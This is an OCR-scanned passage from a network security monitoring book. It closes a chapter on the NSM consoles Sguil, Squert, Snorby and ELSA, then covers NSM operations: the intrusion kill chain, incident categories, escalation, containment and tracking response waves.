http-//doc emergingthreats net/bin/view/Main/2013504 
Plugins 


Plugin v 


getPcap ional) 
— 


Figure 8-24: Choosing to retrieve full content 
data with CapMe in ELSA 














This option takes you to the CapMe authentication screen, and you 
can enter a username and password to retrieve a transcript for the event in 
question. 
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ELSA’s ability to manipulate log data makes for some interesting queries. 
For example, to query for all HTTP POST events that did not involve servers 
in the United States, you could submit the following: 


+method:POST -country code:US 





Next, group the results by clicking the user agent element of the Field 
Summary. A sample of the results from my lab network is shown in Listing 8-3. 





5724 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 
2314 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0 
897 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like 
Gecko) Chrome/24.0.1312.57 Safari/537.17 

788 - 

599 realms/1.0.2 CFNetwork/548.1.4 Darwin/11.0.0 @ 

448 Dalvik/1.4.0 (Linux; U; Android 2.3.4; Kindle Fire Build/GINGERBREAD) 
231 com.apple.Maps/1.0 iPhone 0S/6.0.1 

227 village/1.16.1 CFNetwork/548.1.4 Darwin/11.0.0 

129 Shockwave Flash 

85 Lost%20World/1.1.0 CFNetwork/548.1.4 Darwin/11.0.0 

76  BejBlitz/600 CFNetwork/609 Darwin/13.0.0 

68  JNPPirateSchool/1.0.6 CFNetwork/548.1.4 Darwin/11.0.0 

49 Google Update/1.3.21.135;winhttp;cup 

48  PetCat/1.4 CFNetwork/548.1.4 Darwin/11.0.0 

36  Mailroom/1.7.5.1 CFNetwork/609.1.4 Darwin/13.0.0 

35 Paradise%20Cove/3.8 CFNetwork/548.1.4 Darwin/11.0.0 

27  Mozilla/5.0 ZMTransaction/1.0 

25  GoogleAnalytics/2.0b3 (iPad; U; CPU iPhone OS 5.1.1 like Mac OS X; en-us) 
24  TinyPetsies/1.5.3 CFNetwork/548.1.4 Darwin/11.0.0 

17 Storm8/iPhone 





Listing 8-3: ELSA query results for user agent data 


As you can tell from the bolded code, my kids like to play their iPad 
and PC games on a segment monitored by this lab sensor! Each game lists 
its name as part of the user agent, e.g., realms at &, which helps the identifi- 
cation process. Beware malicious code masquerading via fake user agents, 
however. 

Since ELSA has been integrated into SO only recently, analysts are just 
beginning to appreciate its power. 


Conclusion 


This chapter surveyed the four main open source NSM consoles: Sguil, 
Squert, Snorby, and ELSA. These consoles generally do not generate new 
NSM data on their own. Rather, they provide an interface to NSM data sup- 
plied by other tools. The consoles help analysts review and query for relevant 
information, and then pivot to related data in an efficient manner. 
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Sguil is the original NSM console, and many consider it to be the refer- 
ence NSM platform. Its six main features are the core capabilities analysts 
need when doing NSM operations. Sguil lacks some of the flexibility found 
in new applications, however. Tools like Squert, Snorby, and ELSA are web- 
accessible. Snorby even offers an app for the iOS platform. ELSA incorpo- 
rates a much richer set of NSM data, although analysts continue to extend 
the capabilities of Sguil to accept data from non-network sources such as 
OSSEC. 

By getting a sense of the interface and capabilities of each tool, as well 
as the primary forms of data they manipulate, you can begin to imagine the 
sorts of detection and response operations one can conduct with this rich 
data on hand. Choose the tool that best suits your operational needs. In the 
next chapter I will outline ways to put NSM to work in your environment by 
describing NSM operations. 





PART IV 


NSM IN ACTION 








NSM OPERATIONS 










/) 


y M | Analysts need tools to find intruders, but 





v methodology is more important than soft- 
ware. Tools collect and interpret data, but 
methodology provides the conceptual model. 
Analysts must understand how to use tools to achieve 
a particular goal, but it's important to start with a good 
operational model, and then select tools to provide 

data supporting that model. 


Too many security organizations put tools before operations. They think 
^we need to buy a log management system" or *I will assign one analyst 
to antivirus duty, one to data leakage protection duty," and so on. A tool- 
driven team will not be effective as a mission-driven team. When the mis- 
sion is defined by running software, analysts become captive to the features 
and limitations of their tools. Analysts who think in terms of what they need 
in order to accomplish their mission will seek tools to meet those needs, 
and keep looking if their requirements aren't met. Sometimes they even 
decide to build their own tools. 
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This chapter provides a foundation for developing an NSM operational 
model that will work for your organization. We'll start with an overview of 
the enterprise security cycle. 


The Enterprise Security Cycle 


Chapter 9 





This book advocates NSM as an effective operational model. I define NSM 
as the collection, analysis, and escalation of indications and warnings to 
detect and respond to intrusions. This approach doesn't explicitly address 
planning activities or trying to resist intrusions. All four phases of the secu- 
rity cycle—planning, resistance, detection, and response—are necessary 
when protecting an organization from threats. Therefore, the first step in 
building an operational model is to describe the relationships among plan- 
ning, resistance, detection, and response, as shown in Figure 9-1 (a repro- 
duction of Figure 11): 


IT mainly responsible, security assists 


Prepare Filter 
Assess Protect 


Resolve 


Respond 


Figure 9-1: Enterprise security cycle 


Figure 9-1 shows the relationships among the four core security activi- 
ties. Although it depicts a smooth progression from one phase to the next, 
in the real world, all four activities occur simultaneously because organiza- 
tions often experience different intrusion states at once. IT and security 
teams plan new defenses while existing countermeasures repel some intrud- 
ers. While working to detect one set of intruders, CIRTs are responding to 
other intruders already in the organization. 


1. Elements of this cycle appeared in my 2010 presentation to SANS titled “CIRT-Level 
Response to Advanced Persistent Threat” (http://computer-forensics.sans.org/summit-archives/ 
2010/31-bejtlich-cirt-level-response.pdf). 


The Planning Phase 


The goal of the planning phase is to position the organization as effectively 
as possible to resist intrusions, or to counter weaknesses being exploited 

by ongoing intruder activity. In this phase, IT and security teams prepare 
and assess the situation. They enable defense and evaluate its effectiveness. 
Budgeting, auditing, compliance checks, training, secure software develop- 
ment, and similar work occupy this phase. Adversary simulation, penetra- 
tion testing, and red teaming are examples of assessment work. 


The Red Team Journal defines red teaming as “the practice of viewing a problem 
from an adversary or competitor’s perspective” (http://redteamjournal.com/ 
about/red-teaming-and-alternative-analysis/). In practice, this means engaging 
one or more security professionals to conduct offensive operations against an orga- 
nization in order to assess security measures. Adversary simulation is a form of red 
teaming where the operators seek to emulate the tools, techniques, and procedures of 
a selected threat group. Penetration testing is sometimes used as a synonym for red 
teaming, although some consider penetration testing to be a technique used by the red 
team to achieve its overall goal. 


The Resistance Phase 


During the resistance phase, IT and security teams filter and protect. 
Automated countermeasures such as firewalls, antivirus, data-leakage pro- 
tection, whitelisting, and related technologies designed to stop intruders 
before they can gain unauthorized access to a network are parts of this 
phase. 

Security awareness training and configuration and vulnerability 
management are other countermeasures designed to harden the human 
and technical environment that also occur during the resistance phase. 
Unfortunately, determined intruders eventually find at least one way into 
a network, which makes the next two phases of the enterprise security 
cycle—detection and response—mandatory. 


The Detection and Response Phases 


The detection and response phases include three elements of NSM: collect, 
analyze, and escalate. A fourth element, resolve, is part of the response 
phase, but Figure 9-1 shows this particular element closer to the planning 
element of the enterprise security cycle. 

The detection and response phases of the enterprise security cycle are 
at the heart of NSM, and they are the reason analysts perform collection, 
analysis, and escalation to detect and respond to intrusions. Accordingly, 
they deserve their own diagram showing how the various elements work 
together. Figure 9-2 depicts that relationship, and the following section 
explains these elements in more detail. 
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Figure 9-2: NSM process 
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The detection and response phases include the following elements: 


Collection Gathering the data we need to decide whether activity is 
normal, suspicious, or malicious. 


Analysis The process of validating what we suspect about the nature 
of an event. As Figure 9-2 shows, there are two types of analysis: that 
which is focused on indicators of compromise (IOCs), and that which 
is not. (IOCs are discussed in “Analysis” on page 193.) 


Escalation The act of notifying a constituent about the status of a 
compromised asset. (I advocate using the term constituent because 
it captures the theme that those the CIRT serves have a “vote” in the 


CIRT's operations, because constituents own the computers monitored 
by the CIRT.) 


Resolution The action taken by a constituent or security team mem- 
ber to reduce the risk of loss. 


As with the diagram of the enterprise security cycle in Figure 9-1, the 
workflow in Figure 9-2 appears orderly and linear, but that's typically not the 
case in real life. In fact, all phases of the detection and response processes 
may occur at the same time. Sometimes, multiple incidents are occurring; 
other times, the same incident occupies all four stages at once. Figure 9-2 
shows that detection is composed of collection and analysis, and response 
includes escalation and resolution. Let's take a closer look at each of these 
elements. 


Collection 


Collection includes various processes that gather information, both techni- 
cal and nontechnical: 


Technical processes Involves gathering data from endpoints or hosts 
(such as computers, servers, tablets, mobile devices, and so on), the net- 
work, and logs (created by applications, devices, and related sources). 


Nontechnical collection processes Includes recording input from 
third parties (outsiders like partners, law enforcement, intelligence 
agencies, and so on) and constituents. 


Technical Sources 


One way to gather data from hosts is to use a commercial enterprise-class 
platform like Mandiant for Intelligent Response (MIR, Attp://www.mandiant 
.com/products/mandiant-platform/intelligent-response/), which asks questions of 
endpoints via software. MIR enables CIRTS to sweep the enterprise for signs 
of intruder activity, and then conduct targeted analysis of potential victim 
computers. Other options include the commercial version of F-Response 
(hitp://www.f-response.com/), which allows basic remote access to hard drives 
and memory, as well as native Windows tools such as Windows Management 
Instrumentation Command-line (WMIC) and SysInternals PsExec.? 

Network-centric collection is the focus of this book. The network access 
methods discussed in Chapter 2, along with the platforms described in 
Part II, and the tools introduced in Part III, combine to offer network- 
derived data to analysts. Additional layers of interpretation transform raw 
network information into indicators that merit attention. 

Application logs are a primary source of technical data in the collection 
phase, and any application or device that generates them can provide valu- 
able information. Output from an antivirus agent and the Apache process 
on a web server are examples of application logs. 

Log collection requires at least the following: 


e A log source that creates application data 
e A log collector that accepts and stores the data 


e A transport method to move the logs from the source to the collector 


For example, ELSA might collect logs from a proxy server, with Syslog 
acting as the transport method. 

Host data differs from application logs in that host data is often acquired 
on demand, while logs are created by a regularly scheduled process. Using 
MIR, for example, you can remotely query for host data like a mutex in 
memory or an artifact in the Windows Registry. This concept of interrogat- 
ing computers for specific indicators of compromise (IOCs, discussed in 
"Analysis" on page 193) is a powerful host-centric technique. 





2. Mike Pilkington's posts to the SANS forensics blog are especially helpful: hitp:// 
computer-forensics.sans.org/blog/author/mpilkington. 
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Nontechnical Sources 


Nontechnical sources can be even more important to the success of the 
NSM process. For example, the 2013 edition of the Mandiant M-Trends 
report (Attp://wuuw.mandiant.com/resources/m-trends/) noted that organiza- 
tions received warning of intrusions from external parties two-thirds of the 
time; only one-third of the time did they discover the event themselves. 

When identifying an event using internal sources, reports from users 
are often crucial. Users trained to be aware of phishing activity can bea 
key aspect of enterprise defense. The user who reports a failed phishing 
attempt may provide the warning and evidence needed to detect when that 
same attempt succeeded against another victim. 


WHAT DATA SHOULD YOU COLLECT? 


This book recommends collecting several classes of network-centric data. This 
NSM data includes full content, extracted content, session data, transaction 
data, statistical data, metadata, and alert data. Is all that necessary? How 
should a CIRT decide what data to collect to improve its chances of detecting 
and responding to all sorts of digital intruders? 

Eric M. Hutchins, Michael J. Cloppert, and Rohan M. Amin offer one model 
to help answer this question in their landmark paper "Intelligence-Driven Com- 
puter Network Defense Informed by Analysis of Adversary Campaigns and 
Intrusion Kill Chains" (http://papers.rohanamin.com/wp-content/uploads/papers 
.rohanamin.com/201 1/08/iciw2011.pdf]. In this paper (and in talks at confer- 
ences), they outline the steps an intruder takes when exercising a certain set of 
tactics, techniques, and procedures (TTPs, a term borrowed from the US military 
to characterize intruder activity). Although the authors developed their model to 
counter advanced persistent threat (APT) TTPs, 


this general form of analysis can be adapted to 
suit other actors and other methods. (For more 

information on the APT, see Mandiant's report at Reconnaissance 
http;//www.mandiant.com/apt1/) Their model 


appears in Figure 9-3, and is referenced in issues 


their paper ds an intrusion kill chain. Delivery 
This series of steps resembles the process 
discussed in previous works, such as the "phases Exploitation 
of compromise" in my first book The Tao of : 
Network Security Monitoring: Beyond Intrusion [eielon 
Detection (Addison-Wesley, 2004): (1) recon- 
naissance, (2) exploitation, (3) reinforce- 
ment, (4) consolidation, and (5) pillage. The Actions on intent 
“anatomy of a hack” from Hacking Exposed, 
Fourth Edition (McGraw-Hill Osborne Media, Figure 9-3: Intrusion kill 


2003) is similar: (1) footprinting, (2) scanning, chain model 


Command and control 
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(8) enumeration, (4) gaining access, (5) escalating privilege, (6) pilfering, 
(7) covering tracks, (8) creating backdoors. Others have their own versions 
of the steps taken by an adversary when compromising a target. 

What makes the approach offered by Hutchins, Cloppert, and Amin unique 
is its focus on aligning one's security program with the steps in the intrusion 
kill chain. They show example technologies to detect, deny, disrupt, degrade, 
and/or deceive the adversary. NSM fits this model well, because it provides a 
way to detect and respond to intruders before they accomplish their mission. 
Therefore, the intrusion kill chain offers a powerful model for identifying the 
data we need to collect. 

The most robust NSM operation will have a detection method for each 
step in the intrusion kill chain, with data sources that vary according to the net- 
work. Figure 9-4 shows the intrusion kill chain with sample data sources, includ- 
ing host, network, application, and nontechnical. 


Intrusion Kill Chain Detection Method 


Figure 9-4: Intrusion kill chain and possible detection 
sources and methods 


To understand Figure 9-4, suppose that an intruder wants to compromise 
a certain company in order to steal data. He decides to conduct a spear phish- 
ing attack to gain initial access to the target. To identify users at the company, 
he downloads all documents from the company's website that contain email 
addresses of company users. The intruder crafts an enticing phishing email, 
inserts exploit code into an attachment, and transmits the malicious message to a 
set of users at the company. Once a victim user clicks the malicious attachment, 
which is malware that will exploit a vulnerability in the user's word processing 
application, the malware establishes an outbound command-and-control chan- 
nel to a site controlled by the intruder. At that point, the intruder is ready to 
begin looking for the data he wants to steal. 


[continued] 
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Figure 9-4 shows how various sources and methods could be used to 
detect each phase of the intrusion kill chain. The CIRT could analyze access 
logs to detect an intruder using a search engine to find email addresses on the 
company's website. As the phishing message passes through the company's 
email servers, automated processing software could extract the malicious attach- 
ment and analyze it for suspicious features. One or more recipients of the phish- 
ing message could report receiving it. 

The CIRT could use an endpoint assessment tool to find indicators of com- 
promise created by the exploitation of a vulnerable word processing applica- 
tion and the installation of malware that follows. The CIRT could observe the 
command-and-control channel in transaction data collected by its SO platform. 
Finally, to see individual commands executed by the intruder, the CIRT might 
analyze memory captured from one or more victim systems. 

These sample detection sources and methods will not be available to all 
organizations. You may need to rely more heavily on the tools you have avail- 
able. It is likely that at the start of the NSM journey, many CIRTs will see gaps 
in their ability to detect all phases of the intrusion kill chain. Smart CIRTs will 


work to meet those gaps, using a combination of technical and nontechnical 


methods, and they will build countermeasures to try to deny, disrupt, degrade, 
and/or deceive the adversary. Not all measures will work against all attack 
methods, but resisting or detecting "higher" up in the chain (that is, earlier) 
gives the defender the best chance to prevent the adversary from accomplish- 
ing his mission. 





The bottom line is that collection requires several components in order 
to be effective. These include: 


e Data from the host, network, and applications forms the technical 
foundation 


e A process to accept reports from third parties and constituents to 
gather nontechnical data 


e A database, ticketing system, or other platform to manage this 
information 


We've discussed SO as one technical tool for data collection, but it's not 
the only method available. Your organization can use email, help desk staff, 
and related processes to manage the nontechnical collection duties. 

Some organizations end the NSM process at the collection phase. They 
regard NSM collection tools and techniques as yet another set of systems 
to deploy and discard. They view collection as the end itself, instead of a 
means to an end. Don't get caught in this trap! While well-instrumented 
networks are rare, take the next step and do something with the data. 
Enter the analysis phase. 


192 Chapter 9 


Analysis 


Analysis is the process of identifying and validating normal, suspicious, and 
malicious activity. IOCs expedite this process. Formally, IOCs are manifes- 
tations of observable or discernible adversary actions. Informally, IOCs are 
ways to codify adversary activity so that technical systems can find intruders 
in digital evidence. For example, the Mandiant APTI report (http://www 
.mandiant.com/apt1/) released in February 2013 listed more than 3,000 IOCs, 
including IP addresses, domain names, and MD5 hashes of tools used by 
Unit 61398 of the People's Liberation Army. (Mandiant identifies certain 
threat groups with the prefix APT, followed by a number, such as APTI, 
APT2, and so on.) 

I refer to relying on IOCs to find intruders as JOC-centric analysis, or 
matching. Analysts match IOCs to evidence to identify suspicious or mali- 
cious activity, and then validate their findings. 

Matching is not the only way to find intruders. More advanced NSM 
operations also pursue /OC-free analysis, or hunting. 

In the mid-2000s, the US Air Force popularized the term hunter-killer in 
the digital world. Security experts performed friendly force projection on their 
networks, examining data and sometimes occupying the systems themselves 
in order to find advanced threats. Today, NSM professionals like David Bianco 
(http://detect-respond.blogspot.com/) and Aaron Wade (Attp://forensicir.blogspot 
.com/) promote network "hunting trips," during which a senior investigator 
with a novel way to detect intruders guides junior analysts through data and 
systems looking for signs of the adversary. Upon validating the technique (and 
responding to any enemy actions), the hunters incorporate the new detection 
method into a CIRT's IOC-centric operations. (Chapters 10 and 11 contrast 
the matching and hunting methodologies to demonstrate the strengths and 
weaknesses of each.) 


Intrusions and Incidents 


Analysts use data to identify and validate intrusions. Intrusions are one 
example of an incident. Other examples of incidents include disruption 
caused by DDoS attacks, the loss or theft of a mobile device, and lost con- 
nectivity due to a severed network cable. But just what is an intrusion, and 
what is an incident? 

Intrusions are policy violations or computer security incidents. In their 
book, Incident Response and Computer Forensics, Second Edition (McGraw-Hill 
Osborne Media, 2003), Kevin Mandia and Chris Prosise define an incident 
as “any unlawful, unauthorized, or unacceptable action that involves a 
computer system or a computer network.” These definitions leave plenty 
of room to maneuver, and your organization should decide what these 
terms mean to you. Your goal should be to adopt internally consistent 
definitions. For example, Figure 9-5 depicts a classification method 
(Attp://taosecurity. blogspot.com/2009/06/information-security-incident.html and 
http://taosecurity.blogspot.com/2009/06/extending-information-security-incident 
.html) that builds on a subset of intrusion categories, or cat levels, as popu- 
larized by the US Department of Defense. 
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Name Description 


Intruder tried to exploit asset with access to sensitive data, but failed. 


Intruder compromised asset with ready access to sensitive data. 


Intruder exfiltrated nonsensitive data or data that will facilitate access to 


Breach 2 sensitive data. 


Intruder publicized stolen data online or via mainstream media. 
Data loss resulted in physical harm or loss of life. 


Figure 9-5: Suggested intrusion categories 


These categories are designed to help the analyst understand the out- 
come and nature of an intrusion. For example, say an analyst determines 
that an intruder compromised a computer by executing unauthorized 
code, perhaps by tricking a user into opening a malicious attachment that 
exploited a vulnerable Java installation. However, if the analyst further 
determines that the outbound command-and-control channel was denied 
by the enterprise proxy, the intrusion is classified as a Cat 1. Because the 
intruder could not establish his command-and-control channel, the inci- 
dent falls short of a Breach 3. 

As another example, suppose that an analyst finds that an intruder has 
compromised a computer by executing unauthorized code on the target. In 
this case, the intruder has also exfiltrated, or stolen, nonsensitive data, such 
as a user's shopping list. If the CIRT acts quickly, it can contain the victim 
before the intruder steals sensitive data, or pivots from the initial victim 
to another victim's system. If the CIRT succeeds, the incident is a Breach 2. 
If the CIRT fails, and the intruder steals sensitive data, the incident is a 
Breach 1. If the intruder chooses to publish the stolen data online, the inci- 
dent is a Crisis 3. 


Event Classification 


CIRTs may classify incidents within their analysis console or via an incident 
tracking system. For example, the open source Sguil and Snorby consoles 
(discussed in Chapter 8) support incident classification using function keys. 
Other options include labeling results in Security Information and Event 
Management (SIEM) or log management platforms. 

Classification should include the user ID of the analyst making the deci- 
sion, the time of the classification, the classification itself, and an optional 
comments field. Systems that support forwarding events to more senior 
analysts are helpful. Collaboration and social discussions of incident data 
(such as tagging, chatrooms, and forums) help improve the decision- 
making process. 

The bottom line for the analysis process is that analysts must count and 
classify all incidents that affect their constituents. Counting and classifying 
incidents creates one of the two key metrics any CIRT must collect. (The 
second key metric is the time elapsed from incident detection to contain- 
ment, as discussed in “Resolution” on page 198.) The definitions do not 
need to conform to any international standard, but they must be internally 
consistent. 

That said, if a CIRT wants to contribute data to an incidentreporting 
project, the CIRT must align its incident definitions with that of the outside 
body. Whether reporting internally or externally, CIRTs should be able to 
produce regular reports on the number and types of incidents per unit 
time, such as per quarter or per year. What the organization does with the 
output of the analysis process is the topic of the next section. 


Escalation 


Escalation refers to the process the CIRT uses to document its findings, 
notify its constituents, and receive acknowledgment from the constituents 
of the incident report. Escalation may seem like an afterthought, unwor- 
thy of its own section, but in large and/or distributed environments, esca- 
lation is one of the most difficult aspects of the NSM process. 


Documentation of Incidents 


Documentation creates a record of an event, as well as the CIRT's work to 
handle that event. It's important to assign a single incident number to each 
victim computer. (Consider exploited applications to be computers for the 
purposes of this exercise.) Do not assign multiple compromised computers to 
a single incident number, unless you use a different term for a single compro- 
mised computer. For example, some CIRTs call a single victim a compromise, 
and one or more compromised computers an incident. The point is to use a 
granular term that applies to a single victim computer; without such detail, it 
becomes impossible to collect and measure incident response metrics. 
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Organizations will choose to incorporate different levels of detail into 
their incident reports. For example, CIRTs handling hundreds or thousands 
of incidents per year will likely capture the essential details of a victim system, 
while those working with fewer incidents might document in more detail. 

When possible, consider documenting incidents using a community 
standard like the Vocabulary for Event Recording and Incident Sharing 
(VERIS). VERIS provides a common language for describing security inci- 
dents consistently. You'll find examples of how to document incidents of 
various types posted at the VERIS project site (Attp://veriscommunity.net/) . 


Notification of Incidents 


Notification is the next step in the escalation process. It requires you to 
identify the compromised asset, find a person or group responsible for the 
victim, and deliver an incident report to the affected party. The process 
may sound easy, but it can be exceptionally difficult when working with 
large or distributed networks due to the generally poor state of inventory 
management and network visibility that afflicts many organizations. 


WHAT IS A DEFENSIBLE NETWORK ARCHITECTURE? 


Identifying a compromised asset, finding a responsible owner, and delivering an 
incident report are three of the toughest jobs in security, but they are not the only 
challenges. | developed a defensible network architecture to explain the charac- 
teristics of organizations whose network offers the greatest overall security (http:// 
taosecurity. blogspot.com/2008/01/defensible-network-architecture-20.html). The 
list starts with the characteristics a security team should adopt first, and as it con- 
tinues, the elements become progressively more difficult to implement. 


Monitored CIRTs can view all assets at the host, network, and application 

log levels. 

Inventoried CIRTs can access an inventory identifying asset location, purpose, 
data classification, criticality, owner, and contact method. 

Controlled The security team enforces access control at the host, network, and 


application levels to permit authorized activities and deny everything else. 
Claimed The asset owner listed in the inventory exerts active control of the system. 
Minimized The assets provide the minimum surface area required to perform 
their business function; unnecessary services, protocols, and software are disabled. 


Assessed The CIRT routinely evaluates the configuration of the assets to deter- 
mine their security posture. 

Current The IT team keeps the assets patch status and configuration up-to-date 
with the latest standards. 

Measured The IT team and CIRT measure their progress against the previous 
steps. 


Organizations that adopt a defensible network architecture are best posi- 
tioned to resist compromise and to respond effectively to intrusions as they occur. 





Notification is impossible if the CIRT cannot map an IP address or 
hostname to a real computer, determine its owner, and contact the owner. 
If any of these steps fail, the incident remains unreported and the network 
at risk. 

Notification also depends on the risk posed by a particular incident. 
For example, communications about a Cat 2 incident (unauthorized user- 
level access) should probably not carry the urgency of communications 
about a Breach 2 incident (intruder has stolen sensitive data). 

Regardless, all reporting should be in accord with the standard inci- 
dent management platform used by the CIRT, but the CIRT and constituents 
should agree to different expected response times based on the severity of 
incidents. If an incident is urgent, use the telephone or instant messaging; 
time is a crucial component in that case. Be sure that everyone understands 
how to communicate about incidents and practice the process of notifica- 
tion regularly. At the same time, form backup notification plans in case the 
primary contacts are unresponsive. 

Acknowledgment of the incident report is the final step in the escala- 
tion phase, but this step can be a challenge because some constituents 
don't care to know that their computers are compromised (or they're just 
swamped with other work). Others have no IT or security abilities whatso- 
ever and may depend completely on the CIRT for the next steps. Whatever 
the case, track the acknowledgment time and method in whatever system 
you use to manage incident reporting to help improve the overall security 
process. 


Incident Communication Considerations 


Organizations compromised by persistent threats should assume that the 
adversary has access to their email. Reading CIRT and security team mes- 
sages is a favorite attacker pastime. Unfortunately, email is often the least 
common denominator when it comes to enterprise communication. Large, 
distributed organizations may have different chat applications, collabora- 
tion platforms, or other forms of communication, but most everyone has 
an email address that they monitor closely. Make sure to encrypt sensi- 
tive CIRT-to-constituent email conversations and exchange truly sensitive 
information by phone. If you suspect that an attacker has penetrated 
your Voice over IP Protocol (VoIP) network, use cell phones. The same 
goes for corporate-hosted real-time chat systems and other collaboration 
platforms. 

Many compromised organizations choose to communicate via email 
using something like Gmail or another provider in order to avoid their 
compromised systems. Stress-test these response activities before detecting 
a serious incident. 

Now that the CIRT and constituents are communicating about an inci- 
dent, the final phase turns to doing something to mitigate the risk of loss. 
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Resolution 


Resolution refers to the process CIRTs and constituents use to transition 
compromised systems from an at-risk state to a trustworthy state. The actual 
transition process takes many forms, depending on the nature of the inci- 
dent, as well as the capabilities and risk tolerance of the CIRT and constitu- 
ents. Each party must balance the risk of data loss, alteration, or denial 

of service against the business requirement of the compromised assets. 
Frequently, the CIRT will want the compromised computer off the network 
as quickly as possible, while the business owner will want it online no matter 
what the cost. 

When resolving incidents, consider establishing risk-mitigation guidelines. 
When any asset is compromised, the constituent must take at least one mea- 
sure to reduce risk of data loss, alteration, or denial of service, depending 
on the nature of the incident. Taking no action is not an option. Tolerating 
an intruder on the network is at best poor practice and at worst an invita- 
tion for a lawsuit or other penalty. 


Containment Techniques 


The CIRT and constituents should devise a hierarchy of possible risk- 
mitigation tactics. These response options focus on containing intruders 
and limiting their freedom to interact with victim computers, or pivot from 
a victim computer to yet another victim. 

When containing an intruder, begin with the victimized computer and 
consider the following possibilities: 


e Put the computer in hibernate mode. (Don’t turn it off; you will lose 
valuable volatile data in memory.) 


e Shut down the port the computer uses to accesses the network. 


e Implement a local firewall rule or kernel-level filter to deny the com- 
puter the ability to communicate with other computers. 


e Implement an access control list entry to prevent the computer from 
communicating with other computers. 


e Implement a routing change to prevent the computer from communi- 
cating with other computers. 


e Implement a firewall or proxy block to deny the computer access to the 
Internet, which will cut off remote command-and-control channels. 


More advanced CIRTs will have other tricks up their sleeves, such as 
transitioning the intruder to a honey network of simulated computers for 
study in a “safe” environment. (A honey network is a collection of computers 
deployed by a CIRT to entice, trap, and observe intruders.) Whatever the 
choice of action, key to this process is ensuring that the CIRT and constitu- 
ent take some action to reduce risk of loss. 


Speed of Containment 


The speed with which a CIRT and constituent take containment actions is 
the subject of hot debate in the security world. Some argue for fast contain- 
ment in order to limit risk; others argue for slower containment, providing 
more time to learn about an adversary. The best answer is to contain inci- 
dents as quickly as possible, as long as the CIRT can scope the incident to 
the best of its capability. 

Scoping the incident means understanding the intruder's reach. Is he lim- 
ited to interacting with only the one computer identified thus far? Does he 
control more computers, or even the entire network by virtue of exploita- 
tion of the Active Directory domain controllers? 

The speed with which a CIRT can make the containment decision is one 
of the primary ways to measure its maturity. If the CIRT regularly learns of 
the presence of advanced (or even routine) threats via notification by exter- 
nal parties, then rapid containment is less likely to be effective. A CIRT that 
cannot find intrusions within its own environment is not likely to be able to 
rapidly scope an incident. “Pulling the plug" on the first identified victim will 
probably leave dozens, hundreds, or thousands of other victims online and 
available to the adversary. 

On the other hand, if the CIRT develops its own threat intelligence, 
maintains pervasive visibility, and quickly finds intruders on its own, it is 
more likely to be able to scope an incident in a minimum amount of time. 
CIRTS with that sort of capability should establish the intruder's reach as 
rapidly as possible, and then just as quickly contain the victim (s) to limit 
the adversary's options. 

Deciding which containment action to take can be tricky. One way to 
decide is to adopt either a threat-centric or an asset-centric approach to 
defending information resources. 

A threat-centric approach focuses on the presumed nature of the adver- 
sary. A mature CIRT will likely track many distinct threat groups, and rec- 
ognize when a more sophisticated or damaging threat compromises one 
or more computers. When the CIRT detects that a threat group is active in 
the environment, the CIRT will likely act quickly to contain the adversary. 
If the CIRT instead notices a more routine event involving a criminal actor, 
the CIRT may take a more leisurely response. 

An asset-centric approach focuses on the presumed nature of the victim 
computer. A CIRT working with a mature IT and business organization 
will understand the sensitivity of the data on its networks and the roles of 
systems processing that data. When the CIRT detects an incident affecting 
a business-essential asset, the CIRT acts quickly. If the CIRT instead notices 
activity affecting a less important asset, such as an employee laptop, the 
CIRT acts less quickly. Some CIRTS take a hybrid approach, weighing the 
relative nature of the threat actor and the affected asset. 

CIRTs should document their processes in playbooks that outline the 
responsibilities and actions to be taken by CIRTs and constituents. CIRTs 
should also track intruder activity differently, depending on the nature of 
the threat. For example, mature CIRTS opposing the APT and aggressive 
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HOW TO TRACK WAVES AND CAMPAIGNS 


Although CIRTs should assign numbers of some sort to incidents (such as 
201305180006, for the sixth incident on the 18th of May, 2013), | recommend 
that CIRTs devise names to refer to waves. Names are easier to remember than 
numbers, and using them makes it easier for CIRTs to discuss serious activities 
with constituents. Some CIRTs use the names assigned by the National Weather 
Service's National Hurricane Center (http://www.nhc.noaa.gov/aboutnames 
.shtml) for a year's worth of wave names. For example, the first wave of 2013 
initiated by a CIRT to counter advanced threat activity would be named Wave 
Andrea, the second would be Wave Barry, and so on. 

It is crucial to recognize that, in the heat of an intrusion, CIRTs lack the 
ability to fully identify adversary activity. It does not make sense to assign a 


campaign to adversary activity in the heat of battle. Rather, organize accord- 


ing to how the CIRT is responding. Outside the digital melee of the ongoing 
response activities, the CIRT's intelligence team can perform analysis to deter- 
mine how observed adversary actions fit into the overall picture. 

Mature CIRTs track numerous threat groups, such as nation-state, criminal, 
and hacktivist actors. CIRT intelligence teams will assign adversary activity to 
these threat groups, pairing the CIRT's wave response with the threat group in 
question. For example, the intelligence team may realize that Wave Andrea 
was the CIRT's response to APT12, while Wave Barry was the CIRT's response 
to APTI. 


criminal groups often talk in terms of adversary campaigns. A campaign 
is a long-term operation conducted by an adversary, usually to steal infor- 
mation. A single intrusion is likely to be just one piece of an adversary's 
campaign. 

CIRTs fighting persistent foes tend to organize their response actions 
as waves. A wave does not exactly correspond to a campaign. Whereas a 
campaign refers to the totality of an intruder's prolonged attack against 
a target, a wave refers to the CIRT's efforts to detect and respond to the 
adversary. In other words, intruders conduct campaigns, and CIRTs defend 
in waves. CIRTs will never have perfect visibility into adversary activity. 
Therefore, track what you think the adversary is doing (for example, a cam- 
paign), as well as what the CIRT is doing (for example, a wave). 

Mature CIRTs, upon recognizing that they need to respond to a serious 
incident, are likely to take the following steps. 


Select a wave name and declare the wave open. 


2. Create a telephone bridge and password-protected real-time chatroom 
to discuss activities to counter the adversary. 


3. Sendan urgent notice to affected constituents letting them know that 
the CIRT has opened a wave and how to communicate with the CIRT 
via the telephone and chatroom. 


4. Collect and analyze additional evidence as necessary to scope the 
incident. 


5. Escalate rapid incident reporting to constituents via real-time and digi- 
tal means, identifying victim systems and data. 


6. Coordinate a containment action with the constituents to limit the risk 
of data loss, alteration, or denial of service. 


7. Once containment for all victims is in place, declare the wave closed. 


8. Throughout the duration of the wave, communicate regularly with con- 
stituents to keep them informed and to reduce tension. 


For less serious events, CIRTs do not need to employ such elaborate 
communication methods. CIRTS will concentrate on documenting the 
incident in an efficient manner and notifying the constituent within the 
expected service time windows. For both types of events, CIRTs should mea- 
sure times of key steps in the detection and response process. For example, 
the text at the bottom of Figure 9-2 (which illustrates the elements of the 
